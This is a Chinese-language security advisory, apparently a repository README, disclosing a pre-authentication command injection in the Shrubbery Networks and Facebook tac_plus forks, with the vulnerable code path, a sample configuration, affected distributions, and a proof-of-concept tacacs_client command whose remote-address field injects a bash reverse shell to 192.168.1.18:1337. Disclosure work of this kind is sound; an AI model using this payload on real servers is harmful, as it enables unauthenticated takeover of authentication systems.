本仓库包含关于不同开源 tac_plus 实现中一个预认证远程命令执行漏洞的信息。以下两个分支受到影响:
然而,这两个分支都基于一个 16 年多前开源的 TACACS+ Cisco 开发工具包。该漏洞在开发工具包中早已存在,并被继承到了这两个项目中。需要说明的是,这项研究只关注了上述两个分支,可能还有其他分支也受到影响。
下图展示了各分支之间的关系,它们都受到影响:
-----------------
| Cisco dev kit |
-----------------
↑
forked from
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
forked from
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
尚未找到 Cisco 开发工具包的官方来源,并且它已不再维护。
以下示例引用了 facebook/tac_plus 仓库中的代码,因为它可在 GitHub 上获取(Cisco 开发工具包和 Shrubbery Networks 分支只是 tarball 包)。然而,受影响的代码在所有项目中。
当数据包到达时,将调用 start_session() 函数来确定传入数据包的类型(认证、授权或记账)。我们重点关注由 author() → do_author() 处理的授权数据包,随后它会调用 pre_authorization()。该函数会检查 TACACAS+ 数据包中的用户名是否配置了 before authorization 命令,并通过 call_pre_process() 执行它。以下配置文件(tac_plus.conf)展示了一个配置了 before authorization 命令的用户:
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
该函数会取用 before authorization 中配置的命令,并将变量(例如 $user、$name 或 $address)替换为来自传入 TACACAS+ 数据包的值。然而,这一操作没有任何输入验证或清理。
随后,生成的命令字符串会被传递给 my_popen(),并通过以下 execl() 调用来执行:
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
这使得可以通过 TACACS+ 数据包中的远程地址字段注入额外命令(参见 RFC8907 中的 rem_addr、rem_addr_len)。其他输入字段可能也存在同样的利用方式。
需要注意的是,该漏洞在认证过程中触发。因此,无需密码,只需要一个配置中存在的用户名!
在以下章节中介绍了使用此配置编译并运行 tac_plus 的方法:
以下命令使用 DEFAULT 用户身份在目标守护进程上运行 tacacs_client。触发该漏洞的 payload 位于远程地址字段中,该字段通过 --rem-addr 命令行参数设置:
export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
执行上述命令将产生一个连接到 192.168.1.18:1337 的反向 shell。用户名必须是已在 tac_plus.cfg 中配置了 before authorization 或 after authorization 指令的用户之一。末尾的命令列表(-c service=exec)是命中目标代码路径所必需的,但其值无关紧要。
客户端发送的 TACACS+ 数据包在 Wireshark 中的截图如下所示:

以下截图显示了注入命令即将执行前的调试会话:

许多 Linux 发行版在其官方软件包中使用了这两个受影响分支之一(主要是 Shrubbery Networks 分支)。下表列出了在撰写本文时使用 Shrubbery Networks 或 Facebook 分支的 Linux 发行版和 BSD 衍生系统。该列表并非详尽无遗,其他发行版/衍生系统也很可能受到影响。
| 发行版 | 软件包 | 分支 |
|---|---|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |
| 衍生系统 | Port | 分支 |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
可在以下章节中找到重现此问题的示例: